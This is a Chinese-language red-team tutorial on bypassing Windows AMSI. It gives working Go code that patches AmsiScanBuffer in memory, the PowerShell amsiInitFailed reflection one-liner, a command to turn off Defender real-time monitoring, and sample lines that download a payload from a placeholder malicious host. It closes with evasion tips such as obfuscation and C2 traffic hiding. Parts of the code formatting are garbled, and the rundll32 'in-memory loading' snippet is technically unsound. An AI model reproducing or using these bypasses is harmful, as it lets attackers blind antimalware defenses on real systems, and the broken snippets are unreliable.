0x01 防守的漏洞才是攻击的入口
AMSI(Antimalware Scan Interface)作为微软引以为傲的安全机制,旨在检测和阻止恶意脚本的执行,无论你使用的是 PowerShell、WMI,还是其他 Windows 脚本引擎。它通过拦截脚本执行的字符串内容,将其传递给注册的反恶意软件引擎进行扫描,从而在脚本阶段就扼杀恶意行为。
然而,攻击者的眼中永远没有绝对的“防线”,只有可以利用的“缝隙”。很多防御机制并非不可破,AMSI 也不例外。通过分析它的工作逻辑,我们可以发现绕过路径:它对脚本的拦截和检测依赖于系统内的 AMSI.dll 和注册的扫描引擎,如果我们可以篡改关键流程,或者绕过它的检测机制,那么 AMSI 基本等于“摆设”。
在本文中,我将带你拆解 AMSI 绕过的几种常见方法,并展示如何以 Go 和 Shell 的方式实现攻击链。所有内容仅限合法授权环境中测试使用,不得用于非法用途。
---
0x02 攻击的基石:了解 AMSI 的工作逻辑
在实际攻击中,越了解目标机制的工作原理,越能找到它的薄弱点。AMSI 的核心逻辑主要包括三个部分:
- 脚本拦截:当用户调用 PowerShell 或其他脚本运行时,AMSI 会通过拦截引擎捕捉到脚本执行的内容;
- 扫描引擎:捕获内容后,AMSI 会通过系统中注册的反恶意软件引擎(如 Defender)对拦截到的字符串进行扫描;
- 行为阻断:如果扫描结果显示内容存在恶意,AMSI 会阻止脚本的执行。
绕过思路:
- 篡改 AMSI.dll 的核心函数,比如让它始终返回“脚本无害”;
- 修改 PowerShell 的 AMSI 初始化逻辑;
- 直接禁用 AMSI 的拦截功能;
- 使用加密和编码技术,将恶意代码隐藏在 AMSI 无法检测的形式中。
接下来,我们将逐步拆解这些绕过方法,并结合代码进行实战演示。
---
0x03 环境搭建:为攻击准备舞台
在正式执行绕过实验前,我们需要搭建一个合法测试环境,避免因为环境问题导致实验失败。以下是完整的实验环境搭建步骤。
准备测试环境
- 操作系统:
- Windows 10(建议使用 22H2 版本,以测试最新的 AMSI 防御机制)。
- 工具需求:
- PowerShell 7.0 以上版本;
- Visual Studio Code(带有 Go 插件);
- MinGW 编译器(用于编译 C 代码);
- Python 环境(用于生成恶意脚本样本)。
- 基础工具安装:
- 下载并安装
Go编译器; - 使用以下命令安装 PowerShell 模块:
<pre><code class="language-powershell"> Install-Module -Name PSReadLine -Force -SkipPublisherCheck `
- 关闭 Defender(实验环境专用):
在绕过实验中,为了避免 Defender 直接拦截我们的操作,可以先临时关闭它: `powershell Set-MpPreference -DisableRealtimeMonitoring $true `
- 确认 AMSI 功能开启:
测试 AMSI 是否正常工作,运行以下脚本: `powershell $maliciousCode = "IEX(New-Object Net.WebClient).DownloadString('http://malicious-site.com/payload.ps1')" [Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiInitFailed", "NonPublic,Static").SetValue($null, $false) ` 如果运行失败并提示拦截,则说明 AMSI 已正常工作。
测试用恶意脚本
为了验证绕过效果,我们使用一个简单的 PowerShell 脚本作为目标:</code></pre>powershell $maliciousCode = "Invoke-WebRequest -Uri 'http://malicious-site.com/payload.ps1' -OutFile 'C:\payload.ps1'" Invoke-Expression $maliciousCode <pre><code> 这一脚本会下载并执行恶意 payload,被 AMSI 识别为恶意行为。接下来,我们将通过多种方法让它绕过 AMSI 的检测。
---
0x04 对抗的艺术:几种 AMSI 绕过方法
本章节将逐步拆解 AMSI 绕过的几种技术,并给出完整代码。
方法一:内存篡改绕过(修改 amsi.dll 的返回值)
AMSI 的核心函数 AmsiScanBuffer 是用于扫描脚本内容的关键。当它返回 0 表示脚本无害,如果我们能强制让它始终返回 0,就可以绕过检测。
实现代码(Go 语言版)
以下代码通过调用 Windows API,动态修改 AMSI.dll 的内存函数:</code></pre>go package main
import ( "syscall" "unsafe" )
var ( kernel32 = syscall.NewLazyDLL("kernel32.dll") amsiDll = syscall.NewLazyDLL("amsi.dll") virtualProtect = kernel32.NewProc("VirtualProtect") )
func patchAMSI() { amsiScanBuffer := amsiDll.NewProc("AmsiScanBuffer") addr := amsiScanBuffer.Addr()
// 将内存页面设置为可写 var oldProtect uint32 virtualProtect.Call(addr, uintptr(8), syscall.PAGE_EXECUTE_READWRITE, uintptr(unsafe.Pointer(&oldProtect)))
// 修改 AMSI 返回值逻辑 patch := []byte{0x31, 0xC0, 0xC3} // xor eax, eax; ret copy((*[8]byte)(unsafe.Pointer(addr))[:], patch) }
func main() { patchAMSI() println("AMSI patched successfully, malicious scripts can now bypass detection!") } <pre><code>运行方法:
- 将以上代码保存为
amsi_bypass.go; - 使用以下命令编译:
- 在目标系统中运行可执行文件,观察效果。
`bash go build -o amsi_bypass.exe amsi_bypass.go `
方法二:修改 AMSI 初始化状态
AMSI 的初始化状态由一个名为 amsiInitFailed 的字段控制。如果我们将其值修改为 True,AMSI 将认为自身初始化失败,从而不再执行后续检测。
实现代码(PowerShell)</code></pre>powershell
[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiInitFailed", "NonPublic,Static").SetValue($null, $true) Write-Host "AMSI has been disabled successfully!" ` 运行这段代码后,AMSI 的功能将被禁用,所有恶意脚本可畅通无阻。
---
0x05 绕过的持久化与免杀技巧
即使我们成功绕过了 AMSI,如何确保绕过行为的持久性,并避免被 EDR/Defender 捕获?这里是一些技巧:
- 代码加壳与混淆:
使用工具(如 Obfuscator)对脚本或可执行文件进行混淆处理,增加分析难度。
- 内存加载与直接执行:
将恶意 payload 加载到内存中运行,而不是以文件形式落地: `go func loadPayloadInMemory(payload []byte) { exec.Command("rundll32.exe", string(payload)).Run() } `
- 流量伪装与隐藏通信:
如果 payload 需要与 C2 服务器通信,可以使用 HTTPS 或 DNS 隧道伪装流量。
---

0x06 防御的反思
作为一名攻击者,我深知防御的局限性。虽然 AMSI 是一项强大的防御机制,但它的检测逻辑过于依赖特定函数和模式,一旦攻击者找到绕过路径,防御就形同虚设。

企业可以通过以下措施加强防御:
- 定期更新系统补丁,防止已知的 AMSI 绕过技术;
- 部署行为分析型 EDR,检测攻击者的异常行为;
- 加强内网流量监控,及时发现恶意通信。
---
0x07 总结
AMSI 绕过技术的出现,再次证明了攻防对抗是一个永恒的博弈。任何安全机制都不是绝对安全的,作为红队成员,我们的任务是不断发现防御中的漏洞;而作为防守方,则需要不断更新策略来应对新威胁。

本文展示的内容仅限于合法授权环境中的安全研究使用,切勿用于非法用途。希望读者能通过本文提高对 AMSI 绕过技术的认识,并在实战中不断强化自身的安全能力。
